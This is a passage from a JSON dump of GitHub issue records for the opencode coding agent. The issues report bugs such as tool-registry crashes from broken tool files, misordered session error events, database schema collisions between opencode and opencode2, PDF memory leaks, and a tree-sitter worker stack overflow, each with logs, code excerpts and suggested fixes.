        "text": "### Description When a project has a `.opencode/tool/*.{js,ts}` file that fails to load (for example, it imports a package that couldn't be installed), the failure **dies the entire tool registry** — and with it, every session run in that project. A single bad tool file makes the project unusable. The tool registry in `packages/opencode/src/tool/registry.ts` globs `{tool,tools}/*.{js,ts}` and dynamically `import()`s each file with **no error handling around the import**. If the file throws (e.g. `ResolveMessage: Cannot find package ...`), the defect propagates and kills the registry's state effect, so the whole run fails. Any *valid* tool files in the same project never get a chance to load. ### Steps to reproduce 1. Create a project with a broken custom tool: ```ts // .opencode/tool/broken.ts import { tool } from \"@opencode-ai/plugin\" import { something } from \"@opencode-ai/definitely-not-a-real-package\" export default tool({ description: \"broken\", args: { x: tool.schema.string() }, async execute() { return \"\" } }) ``` 2. Open that project in the web UI and send any prompt. 3. **Observed:** the whole run dies with the `ResolveMessage` stack instead of answering. ### Expected A failing tool file should be skipped with a warning, and the rest of the tool registry (including valid sibling tool files) should still load so the session can proceed. ### Notes - I hit this using **headless opencode via the web browser** (the `opencode serve` API driven from a browser session); I did not test or investigate the TUI. - Fix: skip the broken file and log a warning (PR #42252); surfacing the warning as an inline UI card is covered by the companion issue #42251 / PR #42253. - The trigger here (an auto-installed tool dependency failing to resolve) is separate from the module-resolution mechanism itself; a missing/uninstallable package in any tool file reproduces it.",
        "url": "https://github.com/anomalyco/opencode/issues/42258",
        "createdAt": "2026-08-13T06:49:56Z",
        "updatedAt": "2026-08-13T06:59:35Z",
        "timestamp": "2026-08-13T06:59:35Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "DatScreamer",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42259",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Session run defects are silently dropped — UI shows no error, session just goes idle",
        "text": "### Description When a session run fails with an unexpected defect (e.g. a tool-load failure, a resolver error, a provider bug), **no error is surfaced in the UI at all**. The session transitions to idle as if it succeeded — the user gets no error message, nothing to indicate the run failed. ### Steps to reproduce 1. Set up a project whose tool load fails (a `.opencode/tool/broken.ts` importing a nonexistent package). 2. In the web UI, open a session in that project and send any prompt. 3. **Observed (before fix):** the assistant turn ends, the session goes idle, and **no error is shown** — the real `ResolveMessage` never appears anywhere in the UI. (With `opencode run` in a terminal the failure does surface, but only as the generic masked fallback `Unexpected server error. Check server logs for details.` — the real cause is still lost.) ### Root cause The `session.error` event is published **after** the `session.status idle` event, so UI consumers that stop processing on idle never render it. `packages/opencode/src/effect/runner.ts` — `finishRun` publishes the session's idle status (via the `onIdle` hook → `session.status idle`) **before** completing the run's Deferred. The failure then propagates out of `ensureRunning` to the HTTP handler, whose `catchCause` publishes `session.error`. The SSE ordering is therefore always: ``` session.status busy → session.status idle → session.error (error arrives too late) ``` Clients that stop consuming on `idle` never see the error, and the web session renderer marks the turn complete when idle arrives — so the error is never displayed. ### Expected The real error message must reach the UI. The `session.error` event should be published **before** the idle status so consumers that stop on idle still receive and render it. ### Notes - I hit this using **headless opencode via the web browser** (the `opencode serve` API driven from a browser session); I did not test or investigate the TUI. - Fixed in PR #42253 (publishes `session.error` before idle). That PR also surfaces tool-load warnings from #42258/#42252 as an inline warning card. - The masking boundary lives in `packages/opencode/src/server/routes/instance/httpapi/middleware/error.ts` (defect-only 500s → `NamedError.Unknown` with `ref`); the core problem here is ordering, not just the mask.",
        "url": "https://github.com/anomalyco/opencode/issues/42259",
        "createdAt": "2026-08-13T06:50:04Z",
        "updatedAt": "2026-08-13T06:58:33Z",
        "timestamp": "2026-08-13T06:58:33Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "DatScreamer",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42260",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "opencode2 mutates shared V1 database and breaks opencode 1.x coexistence",
        "text": "## Summary this is almost entirely a Sol generated ticket. Not this line. It's not very good at capturing human pain. opencode2 migrated the database schema, and now in opencode the /move command is broken, I have a session trapped in a worktree. - /move fails because session_context_epoch is missing. - Workspace loading fails because workspace.project_id is missing. - The database is ~/.local/share/opencode/opencode.db (2.3 GB). - SQLite reports integrity_check: ok; this is schema drift, not file corruption. `opencode2` and stable `opencode` use the same default SQLite database, `~/.local/share/opencode/opencode.db`. Starting `opencode2` applies an incompatible V2 schema to that file. Stable `opencode` 1.x then fails in normal UI paths, including `/move`. The two executables have distinct names and are expected to be runnable side by side, but the V2 preview currently has no default data/database isolation and silently breaks the stable installation's database contract. This is related to #38471, but the trigger here is the separately named `opencode2` preview executable migrating the stable CLI's database, rather than Desktop auto-updating while an older CLI remains on PATH. ## Environment - Stable CLI: `opencode 1.18.18` - Preview CLI/service: `opencode2 v0.0.0-next-17403` - The service registration showed the active background service started on `0.0.0-next-17379` and then updated to `next-17403` - OS: Linux `7.0.14-wqfix` x86_64 - Shared database: `~/.local/share/opencode/opencode.db` ## Steps to reproduce 1. Install and use stable `opencode` 1.18.18 so it has existing sessions in: ```text ~/.local/share/opencode/opencode.db ``` 2. Install/start `opencode2` using its default paths. Its detached service opens the same database and performs V1/V2 migration work. 3. Start stable OpenCode with diagnostics: ```bash opencode --print-logs --log-level DEBUG -c ``` 4. In stable OpenCode, move the active session to another existing worktree: ```text /move /path/to/another/worktree ``` 5. Observe the TUI popup: ```text Unexpected server error. Check server logs for details. ``` ## Actual result Stable `opencode` fails because the shared database now has the V2 schema. The `/move` failure is: ```text SQLiteError: no such table: session_context_epoch at SessionContextEpoch.reset at MoveSession.moveSession at ControlPlaneHttpApi.moveSession ``` Startup/listing also fails with: ```text SQLiteError: no such column: workspace.project_id at Workspace.list ``` Read-only schema inspection after `opencode2` ran showed: ```sql PRAGMA table_info(workspace); ``` returned only: ```text id, provider, binding, created_at, last_used_at ``` and `session_context_epoch` no longer existed. Those are consistent with the V2 schema but incompatible with `opencode 1.18.18`. ## Expected result `opencode2` should not mutate the stable CLI's database by default. The separately named preview executable should use an isolated data/state namespace, for example: ```text ~/.local/share/opencode2/ ~/.local/state/opencode2/ ~/.cache/opencode2/ ~/.config/opencode2/ ``` or at minimum a separately named database and service registration. If sharing/migrating the stable database is intentional, `opencode2` should require explicit opt-in, preserve a compatible copy, or block with a clear warning that stable `opencode` will no longer be usable against that database. ## Impact - Stable `opencode` is broken after running the V2 preview. - Existing session history is placed at risk because deleting/recreating the DB loses it. - Running both binaries concurrently can leave processes with incompatible code operating on the same database. - The generic TUI error hides that `opencode2` changed the schema. ## Workaround Launching every `opencode2` command and its background service with a separate XDG profile avoids further collisions: ```bash export XDG_DATA_HOME=\"$HOME/.local/opencode2-profile/data\" export XDG_STATE_HOME=\"$HOME/.local/opencode2-profile/state\" export XDG_CACHE_HOME=\"$HOME/.local/opencode2-profile/cache\" export XDG_CONFIG_HOME=\"$HOME/.local/opencode2-profile/config\" ``` This prevents future collisions but does not repair the already-migrated stable database. Restoring stable operation requires a pre-collision backup or a controlled export/import recovery; manually combining the schemas is unsafe.",
        "url": "https://github.com/anomalyco/opencode/issues/42260",
        "createdAt": "2026-08-13T06:57:18Z",
        "updatedAt": "2026-08-13T12:19:56Z",
        "timestamp": "2026-08-13T12:19:56Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "2.0"
        ],
        "author": "timrichardson",
        "state": "open",
        "assignees": [
          "neriousy"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42261",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Todos not updating properly",
        "text": "### Description I have been using opencode for more than 2 months now and there is a very weird problem with it and that is the todos of the agent: - it creates the todos and does the work but the todos states are not updated. - and if it starts a new work, the todos of the previous work are there and no new todos are created ### Plugins _No response_ ### OpenCode version 1.18.18 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System Windows 11 ### Terminal Windows terminal",
        "url": "https://github.com/anomalyco/opencode/issues/42261",
        "createdAt": "2026-08-13T07:02:23Z",
        "updatedAt": "2026-08-13T07:20:51Z",
        "timestamp": "2026-08-13T07:20:51Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "CodeHalcyon",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42263",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Memory leak: PDF attachments are base64-encoded without size limit and re-encoded every turn, causing OOM",
        "text": "## Summary Ingesting a large PDF — either by **pasting its path into the input box** (renders as a `[PDF N]` chip) or by **letting the agent read it with the `read` tool** — base64-encodes the **entire file** into memory with **no size limit**, and the resulting `data:application/pdf;base64,...` string is **duplicated on every subsequent turn**. The same base64 is also persisted into SQLite, bloating `opencode.db` (988 MB in one case). RSS balloons from ~800 MB to 3.7 GB+ and the process eventually dies (OOM / unresponsive), especially on machines with limited RAM. ## Environment - opencode version: **1.17.9** and **1.18.18** (both affected) - OS: Linux, 5.8 GB RAM, 2 GB swap - Trigger: development session with a large PDF (~135 MB) attached ## Steps to reproduce 1. Prepare a large PDF (~100–150 MB). 2. EITHER paste the PDF's file path into the input box (replaced by a `[PDF 1]` chip), OR ask the agent to read the PDF (it calls the `read` tool). 3. Let the agent do multi-turn work (reads, shell commands, etc.). 4. Watch RSS: it grows from ~800 MB to 2.1 GB → 2.4 GB → 3.7 GB, at which point the UI becomes sluggish and eventually dies. ## Expected behavior Attaching a PDF should either be rejected with a clear size limit (like images are), or its content should be ingested once and reused, not re-encoded and duplicated on every turn. Memory should stay bounded. ## Actual behavior / evidence Heap snapshots captured via the built-in \"Write heap snapshot\" command show the same PDF's base64 content duplicated multiple times: At **3.7 GB RSS**, `tui.heapsnapshot` (self_size total 635 MB): ``` string: data:application/pdf;base64,JVBERi0xLjQK... 179.7 MB × 3 identical copies = 539 MB ``` At **2.4 GB RSS**, `server.heapsnapshot` additionally contained: ``` string: data:application/pdf;base64,... 179.7 MB string: JVBERi0xLjQK... (raw PDF) 89.8 MB string: data:application/pdf;base64,... 35.9 MB × 4 object: BlobInternalReadableStreamSource 134.8 MB string: {\"model\":\"deepseek-v4-pro\",\"messages\":[...]} 1.3 MB (LLM request body containing the PDF) ``` The remaining RSS (3.7 GB − ~635 MB JS heap ≈ 3 GB) sits in native memory (`WKFastMalloc` + `[heap]`), consistent with repeated `readFile` buffers and base64 intermediates that were never released. ### The copies survive across sessions After switching to a **different session** in the same process (RSS had dropped back to ~1.44 GB after a GC), a fresh snapshot still contained: ``` string: data:application/pdf;base64,JVBERi0xLjQK... 179.7 MB × 2 = 359.4 MB ``` i.e. the PDF base64 string is **process-global and never released when the session is switched or closed**. The RSS drop (3.7 GB → 1.44 GB) separates the leak into two layers: - **Live leak (never GC'd)**: the PDF base64 copies held by the prompt store / message history — this is the floor that only grows. - **Garbage buildup (GC-able but not reclaimed promptly)**: `readFile` buffers and base64 intermediates from each turn. ### The PDF is also persisted into SQLite The base64 content is written into the database, bloating it from a few MB to **988 MB** (`~/.local/share/opencode/opencode.db`): ``` event 317 MB (17 rows containing the PDF, ~96 MB; type message.part.updated.1 = 232 MB total) part 206 MB (17 rows containing the PDF, ~96 MB; largest single row = 90 MB) ``` That 90 MB row is a `read` tool part for `xxx.pdf`: ```json {\"type\":\"tool\",\"tool\":\"read\", \"input\":{\"filePath\":\".../xxx.pdf\",\"limit\":100}, \"output\":\"PDF read successfully\", \"attachments\":[{\"type\":\"file\",\"mime\":\"application/pdf\", \"url\":\"data:application/pdf;base64,JVBERi0xLjQK...(90 MB)...\"}]} ``` So even after the process is restarted, restoring the session reloads the PDF base64 from the database back into memory. ## Root cause Three code paths ingest PDFs with no size limit and no caching: 1. **The `read` tool** — `packages/opencode/src/tool/read.ts` (primary path) ```ts if (isImage || isPdfAttachment(mime)) { const bytes = yield* fs.readFile(filepath) // whole PDF, no size check ... attachments: [{ type: \"file\", mime, url: `data:${mime};base64,${Buffer.from(bytes).toString(\"base64\")}`, }] } ``` This fires whenever the agent reads a PDF with the `read` tool — the most common way PDFs enter a session. 2. **TUI attachment paste** — `packages/tui/src/component/prompt/index.tsx` - `pasteInputText` → `readLocalAttachment(filepath)` (line ~1189) - `pasteAttachment` encodes the whole file: `content: Buffer.from(attachment.content).toString(\"base64\")` (line ~1200) - builds the data URL: `` url: `data:${file.mime};base64,${file.content}` `` (line ~1251) - `readLocalAttachment` (`packages/tui/src/component/prompt/local-attachment.ts`) reads the whole file as bytes with no size check. 3. **Server-side prompt construction** — `packages/opencode/src/session/prompt.ts` - In the `case \"file:\"` branch (~line 949–968), every prompt construction re-reads and re-encodes the file: ```ts url: `data:${mime};base64,` + Buffer.from(yield* fsys.readFile(filepath)...).toString(\"base64\"), ``` All three paths bypass the limits that exist for images: | File | Limit | |---|---| | `packages/core/src/tool/read-filesystem.ts` | `MAX_MEDIA_INGEST_BYTES = 20 MB` (images) | | `packages/opencode/src/image/image.ts` | `MAX_BASE64_BYTES = 5 MB` | | `packages/opencode/src/tool/read.ts` (PDF) | **no limit** | | `packages/tui/src/component/prompt/index.tsx` (PDF) | **no limit** | | `packages/opencode/src/session/prompt.ts` (PDF) | **no limit** | Additionally, the resulting base64 string is retained by multiple owners without being released, so each turn adds another full copy: 4. **Cross-session retention** — `packages/tui/src/context/data.tsx` - The `DataProvider` mounts once at the app root (`packages/tui/src/app.tsx`) and is never re-created. - `store.session.message[sessionID]` accumulates messages (including `file` parts with the full base64 `url`) keyed by session ID. - There is **no delete/clear/prune** of `store.session.message` when a session is switched, closed, or deleted — so the PDF base64 string survives for the lifetime of the process. ## Suggested fix 1. Apply a size limit (aligned with `MAX_MEDIA_INGEST_BYTES`, e.g. 20 MB) to PDF ingestion in all three paths — `tool/read.ts`, `local-attachment.ts`/`index.tsx`, and `prompt.ts`; reject or fall back to a text extraction message when exceeded. 2. Cache the base64 result per `part.url`/file path so the same file is not re-read and re-encoded on every turn. 3. Ensure the large string is not duplicated across the prompt store, message history, and request serialization (share the reference instead of re-serializing). 4. Evict or cap `store.session.message` entries for inactive sessions (and release large attachment payloads) so memory does not grow with the number of sessions touched.",
        "url": "https://github.com/anomalyco/opencode/issues/42263",
        "createdAt": "2026-08-13T07:14:44Z",
        "updatedAt": "2026-08-13T08:15:11Z",
        "timestamp": "2026-08-13T08:15:11Z",
        "metrics": {
          "reactions": 4,
          "comments": 2
        },
        "labels": [],
        "author": "tianq01",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42264",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "TUI: text disappears during LLM streaming, main thread stuck in timerfd busy-loop (TreeSitter worker stack overflow)",
        "text": "### Description ## TL;DR During LLM streaming, the syntax highlighting worker crashes with a WASM stack overflow in tree-sitter's `captures()`. Because the streaming code path doesn't update the text buffer independently of the highlight result, a worker crash leaves the displayed code frozen at an arbitrary position. The crash is content-deterministic — the same deeply-nested code triggers the same AST shape, which triggers the same stack overflow — so resume does not help if the same code block is re-rendered. ## Related issues This is the first report to identify the root cause (TreeSitter worker WASM stack overflow). Previous reports described the same or overlapping symptoms but did not identify the cause: - #15388 — TUI garbled/corrupted after long output (closed as not planned, same symptom: restart restores rendering) - #3905 — Message history randomly flickers/disappears (closed, tagged `opentui`) - #3935 — Unstable TUI, disappearing content area (closed, same symptom cluster) - #23914 — TUI text becomes garbled (no developer response) - #17793 — TUI display corruption regression on v1.2.27 (regression of #16351 fix) - #32335 — `opencode run` processes don't exit after completing work (same \"event loop stuck\" symptom) - #7301 — Logs sent via `client.app.log()` not visible with `--print-logs` (related logging visibility issue) ## Reproduction Send this prompt to the LLM in the opencode TUI: ``` Please write a complete TypeScript web server project. I need: 1. A main server file with nested middleware (at least 5 levels of composition) 2. A database layer with nested query builders 3. A routing configuration with nested route groups 4. Type definitions with deeply nested generics 5. Utility functions with complex type inference Output each file as a separate ```ts code block. Make each file at least 100 lines. Use deeply nested object literals, chained method calls, and complex type unions. ``` The crash is triggered by deeply nested code structures in the LLM's response. It depends on the specific code the LLM generates, so not every run will trigger it. In our testing, it triggered on the first attempt with this prompt — but since the crash depends on the exact AST shape of the generated code, reproducibility will vary. Once triggered, the same session content will crash deterministically on every subsequent render. ## What happens ### Original observation (during normal use) During LLM streaming, **some text on the screen suddenly disappears**. The TUI is still responsive — the user can still type and interact — but certain characters are gone. Exiting the session and resuming **appeared** to restore the rendering — but as discovered during reproduction, this was only because the problematic code block was not immediately re-rendered. When the same content is displayed again, the crash recurs deterministically. This happened three times in a single day of normal use, including once in a brand-new session (not a resume), ruling out it being a random fluke or tied to a specific session's history. **Ruled out via strace**: No user interrupt keys (fd 22 = real stdin shows 0 inputs), no SIGHUP, no SIGWINCH, no terminal resize. The issue is purely in the rendering layer — the underlying data is intact. `strace` recording revealed the cause: the worker thread was generating **thousands of SIGSEGV** — `SEGV_ACCERR` with addresses steadily decreasing, the classic signature of a stack overflow hitting the guard page: | | First time | Second time | Third time | |---|---|---|---| | Session type | Original | Resumed | **Brand new** | | SIGSEGV count | 5,961 | 4,932 | 16,378 | | Duration | ~3.5 min | ~3.2 min | ~5.3 min | | Error type | `SEGV_ACCERR` | `SEGV_ACCERR` | `SEGV_ACCERR` | | Address pattern | Decreasing | Decreasing | Decreasing | **These are not one crash.** Each SIGSEGV represents a separate worker crash-and-recreate cycle (see Root Cause §4). The worker crashes, gets recreated, receives the same content, and crashes again — thousands of times over several minutes. After the worker crashes, the main thread gets stuck in a timerfd busy-loop (reading fd 7 and fd 8 every second), spinning endlessly even after opencode.log shows all session loops have ended (`exiting loop`). ### Finding during reproduction When reproducing with the prompt above, an additional symptom became clear: the code is not just \"disappearing\" — it is **frozen mid-stream at an arbitrary position**, with everything after that point missing. And **resume does not fix it**: the code stays truncated at the exact same position, because the same code content triggers the same crash. Notably, `TreeSitter`, `highlighting failed`, `falling back` appear **0 times** in all log files. This is because `@opentui/core`'s `ConsoleCapture` intercepts all `console.warn` / `console.error` calls, storing them only in memory, never writing to any log file (see Root Cause §5). ## Environment - opencode: v1.18.15 - `@opentui/core`: 0.4.5 - `web-tree-sitter`: 0.25.10 - OS: Linux 6.8.0-48-generic (x86_64) - This issue is not new to v1.18.15 — the same symptom has been observed in older versions, but `ConsoleCapture` hides all warnings, so there was never enough evidence to report it. ## Root cause A cascading failure with five key links. Source references are from `@opentui/core@0.4.5` (locate by function name, not line number). ### 1. Text rendering is coupled to highlighting during streaming (why text freezes) The `CodeRenderable.content` setter in streaming mode only updates `_content` (in-memory) and does **not** update `textBuffer` (the screen). The `textBuffer` is only updated when `startHighlight()` succeeds. If highlighting hangs, the screen freezes. ```typescript // CodeRenderable.content setter (packages/core/src/renderables/Code.ts) set content(value: string) { if (this._content !== value) { this._content = value this._highlightsDirty = true if (this._streaming && this._filetype && !this._drawUnstyledText) { this.requestRender() return // ← returns WITHOUT updating textBuffer } this.textBuffer.setText(value) // ← only reached in non-streaming mode } } ``` `textBuffer` is only updated inside `startHighlight()`, after `await this._treeSitterClient.highlightOnce(content, filetype)` resolves. If that Promise hangs, the catch block (which falls back to plain text) **never executes**: ```typescript // CodeRenderable.startHighlight() (Code.ts) private async startHighlight(): Promise<void> { const result = await this._treeSitterClient.highlightOnce(content, filetype) // ↑ if this hangs, everything below never runs this.textBuffer.setStyledText(styledText) // ← only way textBuffer gets updated // ... } catch (error) { this.textBuffer.setText(content) // ← fallback, only runs if Promise rejects } ``` ### 2. No debounce on streaming highlights (trigger condition) Every token triggers the full highlight pipeline — `content` setter → `renderSelf()` → `startHighlight()` → `highlightOnce()` → `postMessage` to worker. `TreeSitterClient` has a `DebounceController` but `highlightOnce()` bypasses it entirely. At 30fps render rate, this means up to 30 full highlight requests per second, each sending the complete accumulated content. ### 3. WASM `captures()` has no safeguards (the crash) In the worker, `ParserWorker.handleOneShotHighlight()` (`packages/core/src/lib/tree-sitter/parser.worker.ts`) calls `query.captures(tree.rootNode)`, which is tree-sitter's C code compiled to WASM using **recursion** to traverse the AST. Deep nesting → WASM stack overflow → hard abort (emscripten `abort()`). There is only `try/finally`, no `catch` — and WASM stack overflow is a hard abort that JS try/catch cannot reliably intercept. ### 4. Worker crash loop — no `on(\"exit\")` handler, no circuit breaker (why it repeats thousands of times) The `NodeWorkerShim` constructor (`packages/core/src/platform/worker.ts`) only attaches `on(\"message\")` and `on(\"error\")`: ```typescript // NodeWorkerShim constructor (platform/worker.ts) this.worker = new node.Worker(createWorkerBootstrapSource(resolvedSpecifier), { eval: true, type: \"module\", name: options.name, // no resourceLimits, no stackSizeMb }) this.worker.on(\"message\", this.handleMessage) this.worker.on(\"error\", this.handleError) // no on(\"exit\")! no on(\"close\")! ``` A search of the published `@opentui/core@0.4.5` package source confirms no `worker.on(\"exit\")` exists anywhere. During a WASM abort, the worker thread dies outright, and the JS `error` event **may not be dispatched**. If `onerror` doesn't fire, `handleWorkerFailure` never runs, `rejectPendingRequests` never runs, and the `highlightOnce()` Promise **never settles** — neither resolves nor rejects. This is why the fallback catch block is unreachable. Additionally, `handleWorkerFailure` (`packages/core/src/lib/tree-sitter/client.ts`) only sets `this.initialized = false` — it does **not** destroy the client and has no circuit breaker. The next `highlightOnce()` call lazily re-creates a new worker via `initialize()`, which crashes again on the same content. **This is the crash loop.** The thousands of SIGSEGVs in the strace data (5,961 / 4,932 / 16,378) are not one crash generating many signals — they are thousands of separate crash-recreate-crash cycles, each one spawning a new worker that immediately dies on the same content. This loop continues for minutes until the streaming ends or the session is exited. ### 5. ConsoleCapture hides all warnings (why it was never reported) `TerminalConsoleCache.overrideConsoleMethods()` (`packages/core/src/console.ts`) replaces all `console.warn` / `console.error` with in-memory storage only (max 1000 entries). The warnings that `startHighlight()`'s catch block would produce are invisible in all log files. This is why the issue has existed across multiple versions but was never reported — there was simply no evidence available to users. ### Crash flow ``` LLM streams token → content setter (updates _content only, NOT textBuffer) → startHighlight() → highlightOnce() → worker.postMessage(ONESHOT_HIGHLIGHT) → worker: parser.parse() → captures(rootNode) → WASM stack overflow → worker dies If onerror fires (not guaranteed with WASM abort): → handleWorkerFailure → rejectPendingRequests → Promise rejects → catch block runs → textBuffer.setText(content) → plain text fallback ✓ → but client not destroyed, no circuit breaker → next token recreates worker → crash again (crash loop) If onerror does NOT fire (observed in production): → Promise never settles → startHighlight() hangs forever → textBuffer frozen → code truncated mid-stream → worker never terminated → timerfd busy-loop Resume → same content → same crash → code still truncated (content-deterministic) ``` ## Suggested fixes Ordered by impact: 1. **Always update `textBuffer` in the `content` setter** — even in streaming mode, call `this.textBuffer.setText(value)` before `return`. This ensures text is always visible even if highlighting fails or hangs. The styled highlight can upgrade the display later when it succeeds. (This means text may briefly appear unstyled before highlighting completes — a minor visual tradeoff compared to text being completely invisible.) 2. **Add a timeout to `highlightOnce()`** — reject the Promise after N seconds so the catch block can run even when both `onerror` and `on(\"exit\")` fail to fire. 3. **Add `on(\"exit\")` handler to `NodeWorkerShim`** — call `handleWorkerFailure` on worker exit, so cleanup (including `rejectPendingRequests`) happens even when WASM abort prevents `onerror` from firing. 4. **Add a circuit breaker to `handleWorkerFailure`** — after N consecutive failures on the same content, stop re-creating the worker and permanently fall back to plain text for that code block. This is essential because the crash is content-deterministic: without this, the crash loop repeats indefinitely. 5. **Add debounce to `highlightOnce()`** — use the existing `DebounceController` (already used by `resetBuffer()`). Reduces crash frequency during streaming but does not prevent the crash (the crash-inducing content will eventually be sent). 6. **Add depth limit or timeout to `captures()`** — or limit content size / nesting depth sent to the worker. Prevents the crash itself. 7. **Set `stackSizeMb` in Worker options** — `resourceLimits: { stackSizeMb: 8 }`. Only delays the crash (deeper nesting needed to trigger), doesn't fix the root cause. 8. **Write WARN/ERROR to log files** — in `TerminalConsoleCache.appendToConsole`, at least write WARN/ERROR level messages to an external log file so issues are diagnosable without strace. <details> <summary>How we collected this evidence</summary> `ConsoleCapture` intercepts all `console.warn` / `console.error`, so opencode's own logs contained zero traces. To work around this, we used a shell wrapper to record two types of low-level logs simultaneously: 1. **`script` (PTY recording)** — records all bytes opencode outputs to the terminal (stdout + stderr), including the full TUI rendering sequence. Lets us verify what was actually displayed and which text was missing. 2. **`strace -f -e trace=read` (syscall recording)** — records all `read` syscalls from the process and all child threads. Lets us observe SIGSEGV, signals, and which fds were read at what time (especially fd 22 = real stdin, to confirm the user pressed no interrupt keys). By cross-referencing the two, we pinpointed the worker stack overflow and the main thread busy-loop despite opencode's own logs having zero traces. </details> ### Plugins N/A ### OpenCode version v1.18.15 ### Steps to reproduce As above ### Screenshot and/or share link N/A ### Operating System Linux 6.8.0-48-generic (x86_64) ### Terminal N/A",
        "url": "https://github.com/anomalyco/opencode/issues/42264",
        "createdAt": "2026-08-13T07:15:14Z",
        "updatedAt": "2026-08-13T07:35:12Z",
        "timestamp": "2026-08-13T07:35:12Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "birdhackor",
        "state": "open",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42265",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Web/new layout: direct /:dir/session creates a draft but does not register the directory as an opened project",
        "text": "### Description With the new layout enabled, opening a valid direct route such as `/:dir/session` creates a draft for the correct directory, but does not add that directory to the browser's opened-project state. The composer works in the requested directory. After returning to Home, however, the directory is missing from Projects and the titlebar `+` button silently does nothing until the directory is added manually. **Expected:** entering through an explicit valid directory route should register the resolved directory as an opened/last project, just like opening it from Home. **Evidence:** the draft contains the expected `directory`, `GET /path?directory=...` and subsequent directory-scoped requests use that path, but `opencode.global.dat:server` has no corresponding opened-project entry. On current `dev`, `SessionRoute` in `packages/app/src/app.tsx` creates the draft with the resolved `sdk().directory`, but this path does not call `projects.open(directory)` or `projects.touch(directory)`. This looks like the new-layout recurrence of #18943 and #26165, both closed by stale cleanup rather than a merged fix. It shares the final symptom with #37606, but the input is different. #37606 starts from Home with no project and discusses falling back to the server startup directory. Here the user already supplied a valid route directory, which may intentionally differ from the server process cwd (for example, hosted per-user workspaces). The resolved route directory should be remembered rather than replaced with the process cwd. ### Plugins None required. My deployed build contains an unrelated Safari IME patch, but current upstream `dev` has the same affected code path. ### OpenCode version 1.18.15 (web); also present in current `dev` at `cc4b456129` / 1.18.18 ### Steps to reproduce 1. Start `opencode web` and use a fresh browser profile, or clear the site's localStorage so no projects are opened. 2. Create or choose a valid directory different from the server process cwd. 3. Open `/{base64(directory)}/session` directly. 4. Observe that OpenCode redirects to `/new-session?draftId=...` and the draft uses the requested directory. 5. Click the Home button in the titlebar. 6. Observe that Projects is empty and click the titlebar `+` button. Actual: the project is not registered and `+` has no effect. Expected: the resolved route directory is registered as an opened/last project, appears on Home, and can be used for later sessions. ### Screenshot and/or share link Not included because the workspace path contains a private username. The behavior is visible as an empty Projects section and an inert titlebar `+` button after returning from the correctly scoped draft. ### Operating System Linux server; Safari on macOS client ### Terminal N/A (web UI)",
        "url": "https://github.com/anomalyco/opencode/issues/42265",
        "createdAt": "2026-08-13T07:33:31Z",
        "updatedAt": "2026-08-13T07:34:45Z",
        "timestamp": "2026-08-13T07:34:45Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "powoct",
        "state": "open",
        "assignees": [
          "Brendonovich"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42266",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "desktop: bundled sidecar (next-17403) crashes with 'Path is not absolute: global' — all API 500s, failed to load sessions",
        "text": "## Summary OpenCode Desktop beta (Windows) can no longer load sessions after updating to the 0.0.0-next-17403 bundled sidecar. The sidecar server crashes on every database query with `Error: Path is not absolute: global` (and empty path), returning HTTP 500 for all `/api/*` endpoints — the app shows \"Failed to load sessions\" and sent user messages never appear in the chat transcript. ## Environment - opencode version: 0.0.0-next-17403 (bundled sidecar CLI), desktop app v0.0.0-beta-17402 - OS: Windows 10.0.26200 (win32 x64) - Terminal: OpenCode Desktop app (Electron beta build) - Shell: C:\\WINDOWS\\system32\\cmd.exe - Install/channel: beta / next - Active plugins: claude-mem.js (local), opencode-see-image@1.3.0 ## Reproduction 1. Update desktop to the build that bundles CLI 0.0.0-next-17403 (sidecar at `%APPDATA%\\ai.opencode.desktop.beta\\cli\\0.0.0-next-17403\\`). 2. Launch OpenCode Beta. 3. The bundled sidecar starts (`serve --service`) and every request fails with HTTP 500; UI shows \"Failed to load sessions\". ## Expected Behavior Sessions load and the chat works as before (worked fine on the previous build 0.0.0-next-17400). ## Actual Behavior Server log (run e313a592, role=server) shows the sidecar crashing on the \"global\" project DB path: ``` Error: Path is not absolute: global at GN (../core/src/database/path.ts:19:15) ... at Project.resolve (../core/src/project.ts:102:14) at ServerProcess.start (src/server-process.ts:73:29) ``` and for the project insert: ``` Error: Path is not absolute: at GN (../core/src/database/path.ts:19:15) ... at Project.resolve (../core/src/location.ts:24:39) ``` All endpoints then 500: `/api/session` (causes the \"failed to load sessions\" toast), `/api/agent`, `/api/project/current`, `/api/command`, `/api/mcp`, `/api/model`, `/api/provider`, `/api/location`, `/api/permission/request`, `/api/question/request`. A server running the previous build (0.0.0-next-17400, same `serve --service` startup, same `projectID=global` refresh) worked fine, so this is a regression introduced in 17403. Secondary symptoms on the same desktop beta: - The client occasionally calls `GET /api/session/<id>/message` with 